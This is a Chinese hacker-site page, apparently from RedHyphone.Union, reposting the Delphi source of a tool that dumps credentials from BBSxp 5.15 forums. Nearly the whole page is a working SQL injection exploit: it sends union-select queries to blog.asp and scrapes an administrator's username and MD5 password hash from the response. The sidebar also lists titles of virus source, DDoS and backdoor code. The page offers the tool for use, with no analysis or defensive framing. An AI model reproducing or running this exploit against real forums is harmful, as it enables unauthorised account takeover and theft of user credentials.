主页 PC知识 网管技术 黑客帝国 安全技术 开放系统 程序设计 搜索 技术论坛

 

相关联接
 
RHU本级分类

编程语言
程序代码
WIN/*NIX编程
其他类别
JAVA专区

 
RHU阅读排行
·新欢乐时光病毒源代码
·ShixxNote 6.net缓冲区溢出代码
·详细解析C++编写的ATM自动取款机模拟程序
·一个写硬盘的VBS脚本程序
·冲击波病毒源代码
·超级DDOS源码~每秒>4W
·socks5协议转http协议源码
·得到远程机器MAC地址源代码
·一个简单的CMDSHELL后门
·Win2000下系统进程隐藏代码

 
 
RHU最新文章
·MS Internet Explorer XML Parsing Buffer Overflow Exploit (vista) 0day网马生成器
·xml下载者VC源码
·Python写的蜘蛛程序代码
·C#抓取alexa排名的代码
·一个超级mail蠕虫的诞生
·洪水攻击原理及代码实现全攻略(附源代码)
·修改了一个抓包的程序(c语言队列)
·企业内部AD脆弱密码审计
·用vbs加用户的绝妙方法
·黑客编程利用Debug Api 获得QQ2007密码

 
 
RHU相关搜索









 
 
RHU广而告之

 
 
>您的位置:首页 -> 程序设计 -> 程序代码
“BBSxp 5.15”暴库工具源码

作者:RHU-TAC编辑员 来自:RHU网络采集 时间:2005-5-18 双击滚屏 收藏本页 字体:


点击 查看RHU2004全年文章


unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdHTTP, StdCtrls, IdAntiFreezeBase, IdAntiFreeze, WinHTTP, ComCtrls,
ExtCtrls, WinSkinData;

type
TForm1 = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Button1: TButton;
IdHTTP1: TIdHTTP;
WinHTTP1: TWinHTTP;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Bevel1: TBevel;
Button2: TButton;
StatusBar1: TStatusBar;
procedure Button1Click(Sender: TObject);
procedure WinHTTP1Done(Sender: TObject; const ContentType: String;
FileSize: Integer; Stream: TStream);
procedure WinHTTP1HTTPError(Sender: TObject; ErrorCode: Integer;
Stream: TStream);
procedure Button2Click(Sender: TObject);
procedure Edit3Change(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{ $R *.dfm }

procedure TForm1.Button1Click(Sender: TObject);
var
s1:string;
url1,url2:string;
i:integer;
begin
if edit1.Text ='' then
begin
showmessage(' 请输入网址先!');
exit;
end;
url1:=edit1.Text+'blog.asp?id=1%20union%20select%20top%201%201,[username],1,1,1,1,1%20from%20[user]%20where%20membercode=5';
url2:=edit1.Text+'blog.asp?id=1%20union%20select%20top%201%201,[userpass],1,1,1,1,1%20from%20[user]%20where%20membercode=5';
//---------------------------暴账号(idHTTP)-----------------------
try
Form1.Caption :='正在暴取账号......';
s1:=idHTTP1.Get(url1);
if pos('username',s1)<>0 then
begin
i:=pos('username',s1);
s1:=copy(s1,i+9,15); //账号位数不固定,但最长不得超过12位
i:=pos('">',s1);
s1:=copy(s1,1,i-1); //取得账号
edit2.Text :=s1;
idHTTP1.Disconnect ; //断开连接
end
else
begin
Form1.Caption :='[BBSxp 5.15]暴库工具 ';
showmessage('暴库失败!可能不存在此漏洞!');
idHTTP1.Disconnect ; //断开连接
exit;
end;
except
Form1.Caption :='[BBSxp 5.15]暴库工具 ';
showmessage('网络超时或其他错误!');
idHTTP1.Disconnect ;
exit; //如果错误就退出 ,不继续下面的代码
end;
//----------暴账号完毕-------------
//----如果暴账号成功,那暴密码肯定也成功,则继续下面的代码
//-----------------------------暴密码(WinHTTP)------------------------
Form1.Caption :='正在暴取密码......';
WinHTTP1.URL :=url2;
WinHTTP1.Read;
//-----接 WinHTTP1Done 和 WinHTTP1HTTPError----------
end;

//-------WinHTTP1Done 和 WinHTTP1HTTPError 的代码要一致,因为暴密码一般都是在Error状态下----
procedure TForm1.WinHTTP1Done(Sender: TObject; const ContentType: String;
FileSize: Integer; Stream: TStream);
var
s2:string;
i:integer;
begin
with Stream as TMemoryStream do
begin
SetLength(s2,size);
Stream.Read(s2[1],size);
end;
if pos('username',s2)<>0 then
begin
i:=pos('username',s2);
s2:=copy(s2,i+9,32); //这里为固定的32位MD5加密,可以直接取32个字符即得密码
edit3.Text :=s2;
end;
end;

procedure TForm1.WinHTTP1HTTPError(Sender: TObject; ErrorCode: Integer;
Stream: TStream);
var
s2:string;
i:integer;
begin
with Stream as TMemoryStream do
begin
SetLength(s2,size);
Stream.Read(s2[1],size);
end;
if pos('username',s2)<>0 then
begin
i:=pos('username',s2);
s2:=copy(s2,i+9,32); //这里为固定的32位MD5加密,可以直接取32个字符即得密码
edit3.Text :=s2;
end;

end;

procedure TForm1.Button2Click(Sender: TObject);
begin
close;
end;

procedure TForm1.Edit3Change(Sender: TObject);
begin
Form1.Caption :='[BBSxp 5.15]暴库工具 ';
end;


end.



OVER

[1] 页 RedHyphone.Union 投稿邮箱
[特别声明]:
本站文章大多搜索转载自网络中,如果侵犯了您的权利,请告之我们。本站将立即删除。
本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有。
查看评论】【向上滚屏】【关闭窗口】【 打印
-相关文章
  • openSUSE 11.1 Final - 正式发布
  • [视频]Opera Mini 4.2 正式版发布
  • dll注入系统进程(开源代码)
  • 认知盲区 解惑双网卡双线路DNS解析
  • FlashFXP 简体中文版 3.7.5 Build 1303 Beta[烈火]
  • -文章评论 (关闭)
    ·还没有相关的评论!

    网上大名:
    红旋风网络技术联盟 RHUTech.Union
     
    Copyright © 2000-2007 RedHyphone.Union All Rights Reserved. 红旋风联盟版权所有.皖ICP备05011033号
    中国红旋风网络技术联盟 | www.RedHyphone.net
    Mailto:Redhyphone@gamil.com